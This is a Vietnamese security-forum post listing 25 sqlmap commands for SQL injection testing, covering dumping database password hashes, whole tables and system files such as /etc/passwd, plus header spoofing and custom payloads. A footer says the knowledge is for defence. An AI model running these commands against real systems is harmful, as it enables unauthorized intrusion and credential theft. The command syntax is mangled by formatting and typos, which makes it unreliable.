Một vài lệnh sqlmap hữu dụng

DDos

VIP Members
22/10/2013
524
2.191 bài viết
Một vài lệnh sqlmap hữu dụng
sqlmap là một công cụ thử nghiệm thâm nhập mã nguồn mở rất phổ biến. Sqlmap giúp quá trình thử nghiệm thâm nhập dễ dàng hơn bằng cách tự động quá trình phát hiện và khai thác lỗi sql injection. Nó bao gồm những công nghệ phát hiện rất mạnh, cùng với nhiều tính năng giá trị và hỗ trợ rất nhiều phương pháp để lấy dữ liệu từ các cơ sở dữ liệu.

1489939950124.png


Nếu bạn có kiến thức tốt về sql cộng với sự thành thạo trong việc sử dụng sqlmap, thì cơ hội để bạn tìm ra lỗi sql injection sẽ trở nên đơn giản hơn rất nhiều. Dưới đây là top 25 lệnh hữu dụng trong sqlmap mà bạn cần nhớ để tsuwr dụng trong quá trình thử nghiệm thâm nhập:


[FONT=&quot]1.Analyzing the current user is dba[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –is-dba -v 1[/FONT]
[FONT=&quot]2) — users: user list database management system[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –users -v 0[/FONT]
[FONT=&quot]3) — passwords: Database user password (hash)[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –passwords -v 0[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –passwords -U sa -v 0[/FONT]
[FONT=&quot]4) To view the user permissions[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –privileges -v 0[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –privileges -U postgres -v 0[/FONT]
[FONT=&quot]5) — dbs can use the database[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –dbs -v 0[/FONT]
[FONT=&quot]6) — tables column in a table[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –tables -D “information_scheam”[/FONT]
[FONT=&quot]-D: Specifies the name of the data[/FONT]
[FONT=&quot]7) — columns are listed in the table column names[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –columns -T “user” -D “mysql” -v 1[/FONT]
[FONT=&quot]-T: Specify the table name, -D: Specifies the library name[/FONT]
[FONT=&quot]8) — dump the contents of the column specified in the list[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –dump -T “users” -D “testdb”[/FONT]
[FONT=&quot]-C: You can specify fields[/FONT]
[FONT=&quot]The specified column in the range of 2-4[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –dump -T “users” -D “testdb” –start 2 –stop 4 -v 0[/FONT]
[FONT=&quot]9) — dumap-all List all databases, all tables content[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –dump-all -v 0[/FONT]
[FONT=&quot]Only lists the contents of the user’s own new database and tables[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –dump-all –exclude-sysdbs -v 0[/FONT]
[FONT=&quot]10) — file to read the content of the document [load_file () function][/FONT]
[FONT=&quot]python sqlmap.py -u “url” –file / etc / password[/FONT]
[FONT=&quot]11) execute SQL[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –sql-shell[/FONT]
[FONT=&quot]12) -p parameter specified[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 1 -p “id”[/FONT]
[FONT=&quot]You can specify multiple -p parameter -p “cat, id”[/FONT]
[FONT=&quot]13) POST submission[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –method POST –data “id = 1”[/FONT]
[FONT=&quot]14) COOKIE Submit[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –cookie “id = 1” -v 1[/FONT]
[FONT=&quot]cookie value can be crawled by the TamperData[/FONT]
[FONT=&quot]15) refer to deceive[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –refer “url” -v 3[/FONT]
[FONT=&quot]16) using a custom user-agent or user-agents.txt[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –user-agent “Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 1 -a “./txt/user-agents.txt”[/FONT]
[FONT=&quot]17) use of multithreading guess solution[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 1 –current-user –threads 3[/FONT]
[FONT=&quot]18) specify the database, bypassing the automatic detection SQLMAP[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 2 –dbms “PostgreSQL”[/FONT]
[FONT=&quot]19) Specifies the operating system automatically detects the bypass SQLMAP[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 2 –os “Windows”[/FONT]
[FONT=&quot]20) — prefix and –postfix custom payload[/FONT]
[FONT=&quot]python sqlmap.py -u “url” -v 3 -p “id” –prefix ” ‘” –postfix “and’ test ‘=’ test”[/FONT]
[FONT=&quot]21) union injection test[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –union-test -v -1[/FONT]
[FONT=&quot]22) with the order by[/FONT]
[FONT=&quot]python sqlmap.py -u “url” –union-test –union-tech orderby -v 1[/FONT]
[FONT=&quot]23) python sqlmap.py -u “url” -v 1 –union-use –banner[/FONT]
[FONT=&quot]24) python sqlmap.py -u “url” -v 5 –union-use –current-user[/FONT]
[FONT=&quot]25) python sqlmap.py -u “url” -v 1 –union-use –dbs[/FONT]
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên